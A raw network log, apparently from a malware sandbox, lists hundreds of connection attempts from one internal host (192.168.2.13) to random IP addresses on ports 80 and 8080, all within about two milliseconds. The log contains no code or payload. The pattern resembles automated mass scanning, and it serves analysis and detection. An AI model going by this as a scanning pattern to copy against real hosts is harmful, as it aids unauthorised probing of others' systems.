Mar 21, 2024 05:16:56.475091934 CET	46418	80	192.168.2.13	72.132.121.155
Mar 21, 2024 05:16:56.475095987 CET	46418	80	192.168.2.13	205.123.158.49
Mar 21, 2024 05:16:56.475091934 CET	46418	80	192.168.2.13	93.208.38.179
Mar 21, 2024 05:16:56.475095987 CET	46418	80	192.168.2.13	71.49.68.131
Mar 21, 2024 05:16:56.475095987 CET	46162	80	192.168.2.13	212.42.239.102
Mar 21, 2024 05:16:56.475095987 CET	46418	80	192.168.2.13	161.189.208.194
Mar 21, 2024 05:16:56.475100040 CET	46162	80	192.168.2.13	163.148.95.3
Mar 21, 2024 05:16:56.475097895 CET	46418	80	192.168.2.13	176.166.29.128
Mar 21, 2024 05:16:56.475092888 CET	46418	80	192.168.2.13	148.186.129.94
Mar 21, 2024 05:16:56.475099087 CET	46418	80	192.168.2.13	61.236.197.91
Mar 21, 2024 05:16:56.475097895 CET	46162	80	192.168.2.13	212.112.190.226
Mar 21, 2024 05:16:56.475099087 CET	46418	80	192.168.2.13	91.250.155.75
Mar 21, 2024 05:16:56.475097895 CET	46418	80	192.168.2.13	82.62.28.35
Mar 21, 2024 05:16:56.475095987 CET	46162	80	192.168.2.13	141.160.24.11
Mar 21, 2024 05:16:56.475097895 CET	46418	80	192.168.2.13	185.160.80.78
Mar 21, 2024 05:16:56.475092888 CET	46418	80	192.168.2.13	139.116.136.42
Mar 21, 2024 05:16:56.475095987 CET	46418	80	192.168.2.13	103.245.139.222
Mar 21, 2024 05:16:56.475092888 CET	46418	80	192.168.2.13	1.173.90.13
Mar 21, 2024 05:16:56.475100040 CET	46162	80	192.168.2.13	73.246.242.147
Mar 21, 2024 05:16:56.475092888 CET	46162	8080	192.168.2.13	212.3.67.117
Mar 21, 2024 05:16:56.475095987 CET	46162	80	192.168.2.13	63.62.14.57
Mar 21, 2024 05:16:56.475092888 CET	46418	80	192.168.2.13	52.155.73.226
Mar 21, 2024 05:16:56.475092888 CET	46162	80	192.168.2.13	219.198.210.69
Mar 21, 2024 05:16:56.475100040 CET	46162	8080	192.168.2.13	212.130.93.36
Mar 21, 2024 05:16:56.475100040 CET	46162	80	192.168.2.13	107.89.63.131
Mar 21, 2024 05:16:56.475121021 CET	46418	80	192.168.2.13	11.189.177.183
Mar 21, 2024 05:16:56.475133896 CET	46418	80	192.168.2.13	194.19.179.172
Mar 21, 2024 05:16:56.475133896 CET	46418	80	192.168.2.13	139.4.186.212
Mar 21, 2024 05:16:56.475133896 CET	46162	80	192.168.2.13	222.118.152.24
Mar 21, 2024 05:16:56.475133896 CET	46162	80	192.168.2.13	155.135.211.98
Mar 21, 2024 05:16:56.475133896 CET	46162	80	192.168.2.13	129.63.15.130
Mar 21, 2024 05:16:56.475133896 CET	46162	80	192.168.2.13	212.73.229.231
Mar 21, 2024 05:16:56.475136042 CET	46162	80	192.168.2.13	197.241.24.133
Mar 21, 2024 05:16:56.475136042 CET	46418	80	192.168.2.13	139.38.59.181
Mar 21, 2024 05:16:56.475136042 CET	46162	80	192.168.2.13	212.129.224.76
Mar 21, 2024 05:16:56.475136042 CET	46418	80	192.168.2.13	243.128.132.139
Mar 21, 2024 05:16:56.475137949 CET	46162	80	192.168.2.13	212.213.182.63
Mar 21, 2024 05:16:56.475137949 CET	46162	80	192.168.2.13	212.41.136.246
Mar 21, 2024 05:16:56.475137949 CET	46418	80	192.168.2.13	172.154.242.20
Mar 21, 2024 05:16:56.475137949 CET	46162	80	192.168.2.13	212.248.115.224
Mar 21, 2024 05:16:56.475147009 CET	46418	80	192.168.2.13	40.146.167.141
Mar 21, 2024 05:16:56.475147009 CET	46418	80	192.168.2.13	146.171.246.160
Mar 21, 2024 05:16:56.475147009 CET	46162	80	192.168.2.13	212.40.173.55
Mar 21, 2024 05:16:56.475147009 CET	46418	80	192.168.2.13	153.184.53.138
Mar 21, 2024 05:16:56.475156069 CET	46162	80	192.168.2.13	212.140.191.4
Mar 21, 2024 05:16:56.475157022 CET	46162	80	192.168.2.13	135.85.226.50
Mar 21, 2024 05:16:56.475157022 CET	46418	80	192.168.2.13	220.175.156.143
Mar 21, 2024 05:16:56.475157022 CET	46162	80	192.168.2.13	121.4.235.72
Mar 21, 2024 05:16:56.475157022 CET	46162	80	192.168.2.13	196.223.129.31
Mar 21, 2024 05:16:56.475157022 CET	46162	80	192.168.2.13	211.60.221.98
Mar 21, 2024 05:16:56.475158930 CET	46162	80	192.168.2.13	102.2.217.157
Mar 21, 2024 05:16:56.475158930 CET	46162	80	192.168.2.13	84.228.93.96
Mar 21, 2024 05:16:56.475158930 CET	46418	80	192.168.2.13	24.115.219.112
Mar 21, 2024 05:16:56.475158930 CET	46418	80	192.168.2.13	207.10.36.252
Mar 21, 2024 05:16:56.475158930 CET	46418	80	192.168.2.13	147.62.111.202
Mar 21, 2024 05:16:56.475173950 CET	46418	80	192.168.2.13	215.103.237.94
Mar 21, 2024 05:16:56.475174904 CET	46418	80	192.168.2.13	116.185.232.91
Mar 21, 2024 05:16:56.475174904 CET	46162	80	192.168.2.13	209.4.37.139
Mar 21, 2024 05:16:56.475174904 CET	46418	80	192.168.2.13	94.147.11.132
Mar 21, 2024 05:16:56.475174904 CET	46162	80	192.168.2.13	36.196.132.161
Mar 21, 2024 05:16:56.475177050 CET	46418	80	192.168.2.13	104.15.91.119
Mar 21, 2024 05:16:56.475177050 CET	46162	80	192.168.2.13	212.133.124.139
Mar 21, 2024 05:16:56.475177050 CET	46418	80	192.168.2.13	92.83.49.151
Mar 21, 2024 05:16:56.475177050 CET	46162	80	192.168.2.13	120.120.129.200
Mar 21, 2024 05:16:56.475218058 CET	46162	8080	192.168.2.13	212.172.223.241
Mar 21, 2024 05:16:56.475219011 CET	46418	80	192.168.2.13	124.204.167.252
Mar 21, 2024 05:16:56.475219011 CET	46162	80	192.168.2.13	36.1.72.248
Mar 21, 2024 05:16:56.475219011 CET	46162	8080	192.168.2.13	64.172.226.192
Mar 21, 2024 05:16:56.475219011 CET	46418	80	192.168.2.13	169.217.164.88
Mar 21, 2024 05:16:56.475219011 CET	46162	80	192.168.2.13	212.44.147.81
Mar 21, 2024 05:16:56.475219011 CET	46418	80	192.168.2.13	5.65.220.64
Mar 21, 2024 05:16:56.475219011 CET	46418	80	192.168.2.13	255.83.178.96
Mar 21, 2024 05:16:56.475219011 CET	46418	80	192.168.2.13	192.167.225.250
Mar 21, 2024 05:16:56.475225925 CET	46162	80	192.168.2.13	212.189.71.58
Mar 21, 2024 05:16:56.475219011 CET	46418	80	192.168.2.13	243.48.187.184
Mar 21, 2024 05:16:56.475219011 CET	46418	80	192.168.2.13	111.253.144.43
Mar 21, 2024 05:16:56.475219011 CET	46162	80	192.168.2.13	212.163.194.46
Mar 21, 2024 05:16:56.475219011 CET	46418	80	192.168.2.13	218.253.227.251
Mar 21, 2024 05:16:56.475225925 CET	46418	80	192.168.2.13	113.83.220.226
Mar 21, 2024 05:16:56.475219011 CET	46162	80	192.168.2.13	194.159.138.106
Mar 21, 2024 05:16:56.475225925 CET	46418	80	192.168.2.13	5.89.73.240
Mar 21, 2024 05:16:56.475225925 CET	46418	80	192.168.2.13	63.26.18.54
Mar 21, 2024 05:16:56.475225925 CET	46418	80	192.168.2.13	151.231.58.180
Mar 21, 2024 05:16:56.475236893 CET	46418	80	192.168.2.13	209.172.71.230
Mar 21, 2024 05:16:56.475236893 CET	46162	80	192.168.2.13	212.183.177.202
Mar 21, 2024 05:16:56.475238085 CET	46418	80	192.168.2.13	211.214.173.191
Mar 21, 2024 05:16:56.475238085 CET	46418	80	192.168.2.13	10.100.184.254
Mar 21, 2024 05:16:56.475238085 CET	46162	80	192.168.2.13	216.65.169.228
Mar 21, 2024 05:16:56.475238085 CET	46418	80	192.168.2.13	147.178.55.38
Mar 21, 2024 05:16:56.475238085 CET	46162	80	192.168.2.13	165.146.249.34
Mar 21, 2024 05:16:56.475238085 CET	46418	80	192.168.2.13	118.211.43.1
Mar 21, 2024 05:16:56.475238085 CET	46162	80	192.168.2.13	186.246.227.172
Mar 21, 2024 05:16:56.475240946 CET	46162	80	192.168.2.13	193.111.249.36
Mar 21, 2024 05:16:56.475238085 CET	46418	80	192.168.2.13	173.244.29.63
Mar 21, 2024 05:16:56.475240946 CET	46162	80	192.168.2.13	212.53.111.152
Mar 21, 2024 05:16:56.475238085 CET	46418	80	192.168.2.13	11.20.196.53
Mar 21, 2024 05:16:56.475238085 CET	46418	80	192.168.2.13	15.185.181.140
Mar 21, 2024 05:16:56.475238085 CET	46418	80	192.168.2.13	131.249.7.235
Mar 21, 2024 05:16:56.475245953 CET	46418	80	192.168.2.13	88.73.21.24
Mar 21, 2024 05:16:56.475238085 CET	46418	80	192.168.2.13	172.132.176.44
Mar 21, 2024 05:16:56.475244999 CET	46162	80	192.168.2.13	113.172.248.109
Mar 21, 2024 05:16:56.475240946 CET	46418	80	192.168.2.13	144.202.3.85
Mar 21, 2024 05:16:56.475245953 CET	46418	80	192.168.2.13	84.38.31.232
Mar 21, 2024 05:16:56.475238085 CET	46418	80	192.168.2.13	152.213.118.117
Mar 21, 2024 05:16:56.475244999 CET	46162	8080	192.168.2.13	212.211.119.21
Mar 21, 2024 05:16:56.475240946 CET	46162	80	192.168.2.13	148.75.119.208
Mar 21, 2024 05:16:56.475244999 CET	46418	80	192.168.2.13	168.100.20.108
Mar 21, 2024 05:16:56.475258112 CET	46418	80	192.168.2.13	61.133.20.6
Mar 21, 2024 05:16:56.475245953 CET	46418	80	192.168.2.13	139.72.148.32
Mar 21, 2024 05:16:56.475244999 CET	46162	80	192.168.2.13	212.180.154.25
Mar 21, 2024 05:16:56.475240946 CET	46418	80	192.168.2.13	13.72.175.202
Mar 21, 2024 05:16:56.475246906 CET	46418	80	192.168.2.13	141.176.11.18
Mar 21, 2024 05:16:56.475244999 CET	46418	80	192.168.2.13	133.63.78.86
Mar 21, 2024 05:16:56.475240946 CET	46418	80	192.168.2.13	3.187.127.129
Mar 21, 2024 05:16:56.475245953 CET	46418	80	192.168.2.13	201.199.80.103
Mar 21, 2024 05:16:56.475240946 CET	46418	80	192.168.2.13	16.243.177.240
Mar 21, 2024 05:16:56.475240946 CET	46418	80	192.168.2.13	204.144.101.192
Mar 21, 2024 05:16:56.475245953 CET	46418	80	192.168.2.13	99.13.197.31
Mar 21, 2024 05:16:56.475279093 CET	46162	80	192.168.2.13	42.153.139.28
Mar 21, 2024 05:16:56.475279093 CET	46162	80	192.168.2.13	212.190.81.187
Mar 21, 2024 05:16:56.475279093 CET	46162	80	192.168.2.13	212.119.104.233
Mar 21, 2024 05:16:56.475279093 CET	46162	80	192.168.2.13	223.37.9.194
Mar 21, 2024 05:16:56.475279093 CET	46418	80	192.168.2.13	79.95.5.152
Mar 21, 2024 05:16:56.475281954 CET	46418	80	192.168.2.13	187.157.156.81
Mar 21, 2024 05:16:56.475279093 CET	46418	80	192.168.2.13	56.119.221.234
Mar 21, 2024 05:16:56.475281954 CET	46418	80	192.168.2.13	14.195.171.70
Mar 21, 2024 05:16:56.475279093 CET	46418	80	192.168.2.13	30.192.198.213
Mar 21, 2024 05:16:56.475281954 CET	46418	80	192.168.2.13	181.89.91.204
Mar 21, 2024 05:16:56.475281954 CET	46418	80	192.168.2.13	147.193.138.253
Mar 21, 2024 05:16:56.475281954 CET	46418	80	192.168.2.13	6.218.187.47
Mar 21, 2024 05:16:56.475281954 CET	46418	80	192.168.2.13	41.247.117.116
Mar 21, 2024 05:16:56.475298882 CET	46418	80	192.168.2.13	22.209.147.167
Mar 21, 2024 05:16:56.475317001 CET	46418	80	192.168.2.13	49.8.128.235
Mar 21, 2024 05:16:56.475317955 CET	46418	80	192.168.2.13	171.202.183.166
Mar 21, 2024 05:16:56.475317955 CET	46418	80	192.168.2.13	125.73.187.254
Mar 21, 2024 05:16:56.475317001 CET	46418	80	192.168.2.13	174.246.37.108
Mar 21, 2024 05:16:56.475317001 CET	46418	80	192.168.2.13	20.217.122.234
Mar 21, 2024 05:16:56.475317955 CET	46418	80	192.168.2.13	3.132.79.215
Mar 21, 2024 05:16:56.475317955 CET	46418	80	192.168.2.13	79.36.71.253
Mar 21, 2024 05:16:56.475349903 CET	46418	80	192.168.2.13	167.11.197.80
Mar 21, 2024 05:16:56.475361109 CET	46418	80	192.168.2.13	205.118.52.108
Mar 21, 2024 05:16:56.475361109 CET	46418	80	192.168.2.13	29.14.109.224
Mar 21, 2024 05:16:56.475361109 CET	46418	80	192.168.2.13	112.235.97.45
Mar 21, 2024 05:16:56.475361109 CET	46418	80	192.168.2.13	121.55.110.181
Mar 21, 2024 05:16:56.475361109 CET	46418	80	192.168.2.13	175.127.139.30
Mar 21, 2024 05:16:56.475369930 CET	46418	80	192.168.2.13	204.174.107.200
Mar 21, 2024 05:16:56.475372076 CET	46418	80	192.168.2.13	30.250.239.145
Mar 21, 2024 05:16:56.475372076 CET	46418	80	192.168.2.13	43.43.164.219
Mar 21, 2024 05:16:56.475372076 CET	46418	80	192.168.2.13	91.240.133.175
Mar 21, 2024 05:16:56.475372076 CET	46418	80	192.168.2.13	172.129.186.205
Mar 21, 2024 05:16:56.475372076 CET	46418	80	192.168.2.13	247.183.126.12
Mar 21, 2024 05:16:56.475373030 CET	46418	80	192.168.2.13	139.179.105.64
Mar 21, 2024 05:16:56.475373030 CET	46418	80	192.168.2.13	223.222.116.223
Mar 21, 2024 05:16:56.475373030 CET	46418	80	192.168.2.13	109.32.135.79
Mar 21, 2024 05:16:56.475373030 CET	46418	80	192.168.2.13	53.0.106.38
Mar 21, 2024 05:16:56.475382090 CET	46418	80	192.168.2.13	14.64.144.209
Mar 21, 2024 05:16:56.475382090 CET	46418	80	192.168.2.13	138.47.109.156
Mar 21, 2024 05:16:56.475382090 CET	46418	80	192.168.2.13	17.233.212.49
Mar 21, 2024 05:16:56.475383043 CET	46418	80	192.168.2.13	84.116.244.210
Mar 21, 2024 05:16:56.475405931 CET	46418	80	192.168.2.13	81.97.51.102
Mar 21, 2024 05:16:56.475408077 CET	46418	80	192.168.2.13	70.187.227.43
Mar 21, 2024 05:16:56.475413084 CET	46418	80	192.168.2.13	253.71.250.223
Mar 21, 2024 05:16:56.475414038 CET	46418	80	192.168.2.13	81.3.254.90
Mar 21, 2024 05:16:56.475414038 CET	46418	80	192.168.2.13	15.102.12.20
Mar 21, 2024 05:16:56.475414038 CET	46418	80	192.168.2.13	146.123.141.129
Mar 21, 2024 05:16:56.475418091 CET	46418	80	192.168.2.13	216.181.51.202
Mar 21, 2024 05:16:56.475440979 CET	46418	80	192.168.2.13	52.254.57.61
Mar 21, 2024 05:16:56.475445986 CET	46418	80	192.168.2.13	243.233.104.10
Mar 21, 2024 05:16:56.475450039 CET	46418	80	192.168.2.13	38.111.141.10
Mar 21, 2024 05:16:56.475450993 CET	46418	80	192.168.2.13	116.173.232.238
Mar 21, 2024 05:16:56.475481987 CET	46418	80	192.168.2.13	48.4.221.215
Mar 21, 2024 05:16:56.475505114 CET	46418	80	192.168.2.13	153.189.191.200
Mar 21, 2024 05:16:56.475507975 CET	46418	80	192.168.2.13	11.34.118.27
Mar 21, 2024 05:16:56.475511074 CET	46418	80	192.168.2.13	84.166.190.244
Mar 21, 2024 05:16:56.475522041 CET	46418	80	192.168.2.13	49.239.44.212
Mar 21, 2024 05:16:56.475533962 CET	46418	80	192.168.2.13	203.190.244.115
Mar 21, 2024 05:16:56.475553989 CET	46418	80	192.168.2.13	255.159.197.240
Mar 21, 2024 05:16:56.475553989 CET	46418	80	192.168.2.13	163.186.228.31
Mar 21, 2024 05:16:56.475558043 CET	46418	80	192.168.2.13	93.15.147.30
Mar 21, 2024 05:16:56.475564957 CET	46418	80	192.168.2.13	39.80.86.144
Mar 21, 2024 05:16:56.475580931 CET	46418	80	192.168.2.13	2.179.97.248
Mar 21, 2024 05:16:56.475605011 CET	46418	80	192.168.2.13	52.120.102.48
Mar 21, 2024 05:16:56.475617886 CET	46418	80	192.168.2.13	131.207.90.191
Mar 21, 2024 05:16:56.475619078 CET	46418	80	192.168.2.13	11.84.62.158
Mar 21, 2024 05:16:56.475620985 CET	46418	80	192.168.2.13	29.255.98.167
Mar 21, 2024 05:16:56.475625038 CET	46418	80	192.168.2.13	213.239.164.95
Mar 21, 2024 05:16:56.475639105 CET	46418	80	192.168.2.13	138.136.158.105
Mar 21, 2024 05:16:56.475660086 CET	46418	80	192.168.2.13	220.109.193.141
Mar 21, 2024 05:16:56.475661039 CET	46418	80	192.168.2.13	112.27.242.225
Mar 21, 2024 05:16:56.475660086 CET	46418	80	192.168.2.13	12.151.234.185
Mar 21, 2024 05:16:56.475687027 CET	46418	80	192.168.2.13	204.70.18.62
Mar 21, 2024 05:16:56.475687981 CET	46418	80	192.168.2.13	29.223.190.79
Mar 21, 2024 05:16:56.475707054 CET	46418	80	192.168.2.13	249.132.51.203
Mar 21, 2024 05:16:56.475738049 CET	46418	80	192.168.2.13	125.45.238.34
Mar 21, 2024 05:16:56.475738049 CET	46418	80	192.168.2.13	40.8.173.96
Mar 21, 2024 05:16:56.475759029 CET	46418	80	192.168.2.13	179.174.19.45
Mar 21, 2024 05:16:56.475759029 CET	46418	80	192.168.2.13	59.96.104.38
Mar 21, 2024 05:16:56.475909948 CET	46418	80	192.168.2.13	39.136.36.199
Mar 21, 2024 05:16:56.475913048 CET	46418	80	192.168.2.13	166.65.224.234
Mar 21, 2024 05:16:56.475914955 CET	46418	80	192.168.2.13	111.254.199.232
Mar 21, 2024 05:16:56.475914955 CET	46418	80	192.168.2.13	64.220.203.235
Mar 21, 2024 05:16:56.475923061 CET	46418	80	192.168.2.13	209.209.63.62
Mar 21, 2024 05:16:56.475944996 CET	46418	80	192.168.2.13	164.211.27.250
Mar 21, 2024 05:16:56.475946903 CET	46418	80	192.168.2.13	13.112.76.48
Mar 21, 2024 05:16:56.475961924 CET	46418	80	192.168.2.13	44.157.97.98
Mar 21, 2024 05:16:56.475980043 CET	46418	80	192.168.2.13	175.213.235.45
Mar 21, 2024 05:16:56.475987911 CET	46418	80	192.168.2.13	21.204.126.183
Mar 21, 2024 05:16:56.476005077 CET	46418	80	192.168.2.13	54.120.106.54
Mar 21, 2024 05:16:56.476005077 CET	46418	80	192.168.2.13	91.117.109.24
Mar 21, 2024 05:16:56.476035118 CET	46418	80	192.168.2.13	241.89.44.162
Mar 21, 2024 05:16:56.476036072 CET	46418	80	192.168.2.13	22.149.146.26
Mar 21, 2024 05:16:56.476036072 CET	46418	80	192.168.2.13	92.251.112.184
Mar 21, 2024 05:16:56.476037025 CET	46418	80	192.168.2.13	241.156.112.174
Mar 21, 2024 05:16:56.476042032 CET	46418	80	192.168.2.13	179.105.31.234
Mar 21, 2024 05:16:56.476087093 CET	46418	80	192.168.2.13	89.219.158.104
Mar 21, 2024 05:16:56.476087093 CET	46418	80	192.168.2.13	253.16.168.229
Mar 21, 2024 05:16:56.476099968 CET	46418	80	192.168.2.13	147.255.109.169
Mar 21, 2024 05:16:56.476100922 CET	46418	80	192.168.2.13	206.96.141.177
Mar 21, 2024 05:16:56.476102114 CET	46418	80	192.168.2.13	243.8.171.119
Mar 21, 2024 05:16:56.476126909 CET	46418	80	192.168.2.13	75.197.139.255
Mar 21, 2024 05:16:56.476138115 CET	46418	80	192.168.2.13	121.161.25.203
Mar 21, 2024 05:16:56.476138115 CET	46418	80	192.168.2.13	155.55.130.56
Mar 21, 2024 05:16:56.476159096 CET	46418	80	192.168.2.13	185.201.231.68
Mar 21, 2024 05:16:56.476171017 CET	46418	80	192.168.2.13	41.202.22.65
Mar 21, 2024 05:16:56.476172924 CET	46418	80	192.168.2.13	9.42.36.211
Mar 21, 2024 05:16:56.476181984 CET	46418	80	192.168.2.13	98.222.123.162
Mar 21, 2024 05:16:56.476181984 CET	46418	80	192.168.2.13	11.128.237.217
Mar 21, 2024 05:16:56.476181984 CET	46418	80	192.168.2.13	21.29.71.38
Mar 21, 2024 05:16:56.476186037 CET	46418	80	192.168.2.13	192.46.155.228
Mar 21, 2024 05:16:56.476197004 CET	46418	80	192.168.2.13	185.48.222.58
Mar 21, 2024 05:16:56.476197004 CET	46418	80	192.168.2.13	21.249.13.78
Mar 21, 2024 05:16:56.476233959 CET	46418	80	192.168.2.13	74.14.220.99
Mar 21, 2024 05:16:56.476259947 CET	46418	80	192.168.2.13	196.239.10.40
Mar 21, 2024 05:16:56.476259947 CET	46418	80	192.168.2.13	134.127.11.45
Mar 21, 2024 05:16:56.476260900 CET	46418	80	192.168.2.13	221.7.77.254
Mar 21, 2024 05:16:56.476268053 CET	46418	80	192.168.2.13	180.118.167.18
Mar 21, 2024 05:16:56.476279974 CET	46418	80	192.168.2.13	107.116.143.75
Mar 21, 2024 05:16:56.476289988 CET	46418	80	192.168.2.13	189.101.206.241
Mar 21, 2024 05:16:56.476289988 CET	46418	80	192.168.2.13	19.111.67.6
Mar 21, 2024 05:16:56.476305962 CET	46418	80	192.168.2.13	243.182.63.189
Mar 21, 2024 05:16:56.476322889 CET	46418	80	192.168.2.13	162.225.199.109
Mar 21, 2024 05:16:56.476329088 CET	46418	80	192.168.2.13	47.90.123.207
Mar 21, 2024 05:16:56.476334095 CET	46418	80	192.168.2.13	201.239.36.202
Mar 21, 2024 05:16:56.476358891 CET	46418	80	192.168.2.13	53.236.22.126
Mar 21, 2024 05:16:56.476373911 CET	46418	80	192.168.2.13	168.112.104.89
Mar 21, 2024 05:16:56.476377010 CET	46418	80	192.168.2.13	175.155.209.197
Mar 21, 2024 05:16:56.476377010 CET	46418	80	192.168.2.13	61.179.227.97
Mar 21, 2024 05:16:56.476377964 CET	46418	80	192.168.2.13	57.70.242.89
Mar 21, 2024 05:16:56.476385117 CET	46418	80	192.168.2.13	202.132.15.81
Mar 21, 2024 05:16:56.476393938 CET	46418	80	192.168.2.13	5.131.70.55
Mar 21, 2024 05:16:56.476397991 CET	46418	80	192.168.2.13	211.179.43.122
Mar 21, 2024 05:16:56.476423979 CET	46418	80	192.168.2.13	6.153.59.243
Mar 21, 2024 05:16:56.476423979 CET	46418	80	192.168.2.13	118.8.138.249
Mar 21, 2024 05:16:56.476452112 CET	46418	80	192.168.2.13	73.235.102.21
Mar 21, 2024 05:16:56.476457119 CET	46418	80	192.168.2.13	98.14.110.166
Mar 21, 2024 05:16:56.476459980 CET	46418	80	192.168.2.13	76.91.219.193
Mar 21, 2024 05:16:56.476465940 CET	46418	80	192.168.2.13	251.189.144.107
Mar 21, 2024 05:16:56.476476908 CET	46418	80	192.168.2.13	196.186.165.23
Mar 21, 2024 05:16:56.476486921 CET	46418	80	192.168.2.13	1.158.236.153
Mar 21, 2024 05:16:56.476520061 CET	46418	80	192.168.2.13	73.195.183.53
Mar 21, 2024 05:16:56.476521015 CET	46418	80	192.168.2.13	116.123.4.64
Mar 21, 2024 05:16:56.476545095 CET	46418	80	192.168.2.13	90.80.116.55
Mar 21, 2024 05:16:56.476548910 CET	46418	80	192.168.2.13	199.114.136.177
Mar 21, 2024 05:16:56.476567984 CET	46418	80	192.168.2.13	91.234.228.141
Mar 21, 2024 05:16:56.476576090 CET	46418	80	192.168.2.13	85.185.205.16
Mar 21, 2024 05:16:56.476578951 CET	46418	80	192.168.2.13	22.155.170.14
Mar 21, 2024 05:16:56.476578951 CET	46418	80	192.168.2.13	22.144.13.158
Mar 21, 2024 05:16:56.476618052 CET	46418	80	192.168.2.13	64.42.39.169
Mar 21, 2024 05:16:56.476622105 CET	46418	80	192.168.2.13	104.192.142.73
Mar 21, 2024 05:16:56.476622105 CET	46418	80	192.168.2.13	74.235.115.38
Mar 21, 2024 05:16:56.476628065 CET	46418	80	192.168.2.13	95.104.151.137
Mar 21, 2024 05:16:56.476636887 CET	46418	80	192.168.2.13	99.128.59.70
Mar 21, 2024 05:16:56.476636887 CET	46418	80	192.168.2.13	202.68.208.228
Mar 21, 2024 05:16:56.476659060 CET	46418	80	192.168.2.13	113.95.176.104
Mar 21, 2024 05:16:56.476682901 CET	46418	80	192.168.2.13	66.53.13.210
Mar 21, 2024 05:16:56.476687908 CET	46418	80	192.168.2.13	94.217.230.239
Mar 21, 2024 05:16:56.476696014 CET	46418	80	192.168.2.13	34.47.199.231
Mar 21, 2024 05:16:56.476702929 CET	46418	80	192.168.2.13	146.175.108.94
Mar 21, 2024 05:16:56.476707935 CET	46418	80	192.168.2.13	42.133.96.1
Mar 21, 2024 05:16:56.476713896 CET	46418	80	192.168.2.13	70.145.27.47
Mar 21, 2024 05:16:56.476727009 CET	46418	80	192.168.2.13	220.182.201.148
Mar 21, 2024 05:16:56.476727009 CET	46418	80	192.168.2.13	8.20.41.245
Mar 21, 2024 05:16:56.476744890 CET	46418	80	192.168.2.13	22.107.51.246
Mar 21, 2024 05:16:56.476756096 CET	46418	80	192.168.2.13	208.66.83.20
Mar 21, 2024 05:16:56.477077007 CET	46418	80	192.168.2.13	9.237.221.15
Mar 21, 2024 05:16:56.477077007 CET	46418	80	192.168.2.13	242.227.224.109
Mar 21, 2024 05:16:56.477082014 CET	46418	80	192.168.2.13	59.115.85.158
Mar 21, 2024 05:16:56.477083921 CET	46418	80	192.168.2.13	109.86.18.231
Mar 21, 2024 05:16:56.477085114 CET	46418	80	192.168.2.13	241.62.23.125
Mar 21, 2024 05:16:56.477089882 CET	46418	80	192.168.2.13	65.183.24.82
Mar 21, 2024 05:16:56.477103949 CET	46418	80	192.168.2.13	112.48.108.101
Mar 21, 2024 05:16:56.477107048 CET	46418	80	192.168.2.13	58.148.48.155
Mar 21, 2024 05:16:56.477123022 CET	46418	80	192.168.2.13	33.141.225.125
Mar 21, 2024 05:16:56.477128029 CET	46418	80	192.168.2.13	191.179.8.66
Mar 21, 2024 05:16:56.477133036 CET	46418	80	192.168.2.13	79.89.43.117
Mar 21, 2024 05:16:56.477134943 CET	46418	80	192.168.2.13	255.130.58.28
Mar 21, 2024 05:16:56.477149010 CET	46418	80	192.168.2.13	135.78.107.204
Mar 21, 2024 05:16:56.477152109 CET	46418	80	192.168.2.13	37.134.237.93
Mar 21, 2024 05:16:56.477155924 CET	46418	80	192.168.2.13	64.34.82.191
Mar 21, 2024 05:16:56.477161884 CET	46418	80	192.168.2.13	245.14.180.230
Mar 21, 2024 05:16:56.477181911 CET	46418	80	192.168.2.13	104.195.134.59
Mar 21, 2024 05:16:56.477196932 CET	46418	80	192.168.2.13	189.252.71.60
Mar 21, 2024 05:16:56.477205992 CET	46418	80	192.168.2.13	29.185.121.220
Mar 21, 2024 05:16:56.477216959 CET	46418	80	192.168.2.13	186.49.100.130
Mar 21, 2024 05:16:56.477229118 CET	46418	80	192.168.2.13	15.69.222.97
Mar 21, 2024 05:16:56.477236986 CET	46418	80	192.168.2.13	196.48.249.119
Mar 21, 2024 05:16:56.477237940 CET	46418	80	192.168.2.13	57.196.161.140
Mar 21, 2024 05:16:56.477238894 CET	46418	80	192.168.2.13	147.110.162.81
Mar 21, 2024 05:16:56.477262974 CET	46418	80	192.168.2.13	206.255.192.18
Mar 21, 2024 05:16:56.477273941 CET	46418	80	192.168.2.13	176.104.51.175
Mar 21, 2024 05:16:56.477273941 CET	46418	80	192.168.2.13	47.181.149.26
Mar 21, 2024 05:16:56.477300882 CET	46418	80	192.168.2.13	42.144.196.145
Mar 21, 2024 05:16:56.477300882 CET	46418	80	192.168.2.13	207.119.115.89
Mar 21, 2024 05:16:56.477300882 CET	46418	80	192.168.2.13	82.123.198.121
Mar 21, 2024 05:16:56.477302074 CET	46418	80	192.168.2.13	196.80.239.225
Mar 21, 2024 05:16:56.477302074 CET	46418	80	192.168.2.13	148.198.149.17
Mar 21, 2024 05:16:56.477324963 CET	46418	80	192.168.2.13	114.171.156.100
Mar 21, 2024 05:16:56.477324963 CET	46418	80	192.168.2.13	213.201.24.153
Mar 21, 2024 05:16:56.477345943 CET	46418	80	192.168.2.13	186.118.39.168
Mar 21, 2024 05:16:56.477349997 CET	46418	80	192.168.2.13	88.135.224.49
Mar 21, 2024 05:16:56.477360010 CET	46418	80	192.168.2.13	75.223.219.135
Mar 21, 2024 05:16:56.477365017 CET	46418	80	192.168.2.13	52.115.23.145
Mar 21, 2024 05:16:56.477380037 CET	46418	80	192.168.2.13	129.108.82.222
Mar 21, 2024 05:16:56.477392912 CET	46418	80	192.168.2.13	183.246.210.66
Mar 21, 2024 05:16:56.477392912 CET	46418	80	192.168.2.13	195.76.121.214
Mar 21, 2024 05:16:56.477392912 CET	46418	80	192.168.2.13	203.150.255.133
Mar 21, 2024 05:16:56.477396011 CET	46418	80	192.168.2.13	215.208.56.11
Mar 21, 2024 05:16:56.477416992 CET	46418	80	192.168.2.13	139.167.114.80
Mar 21, 2024 05:16:56.477428913 CET	46418	80	192.168.2.13	117.74.69.193
Mar 21, 2024 05:16:56.477428913 CET	46418	80	192.168.2.13	179.144.246.86
Mar 21, 2024 05:16:56.477436066 CET	46418	80	192.168.2.13	245.233.168.173
Mar 21, 2024 05:16:56.477446079 CET	46418	80	192.168.2.13	147.249.208.88
Mar 21, 2024 05:16:56.477452993 CET	46418	80	192.168.2.13	79.65.36.192
Mar 21, 2024 05:16:56.477490902 CET	46418	80	192.168.2.13	185.181.246.159
Mar 21, 2024 05:16:56.477493048 CET	46418	80	192.168.2.13	172.52.254.53
Mar 21, 2024 05:16:56.477493048 CET	46418	80	192.168.2.13	126.120.126.241
Mar 21, 2024 05:16:56.477495909 CET	46418	80	192.168.2.13	32.88.54.183
Mar 21, 2024 05:16:56.477495909 CET	46418	80	192.168.2.13	4.54.156.51
Mar 21, 2024 05:16:56.477505922 CET	46418	80	192.168.2.13	196.10.122.200
Mar 21, 2024 05:16:56.477528095 CET	46418	80	192.168.2.13	240.183.135.107
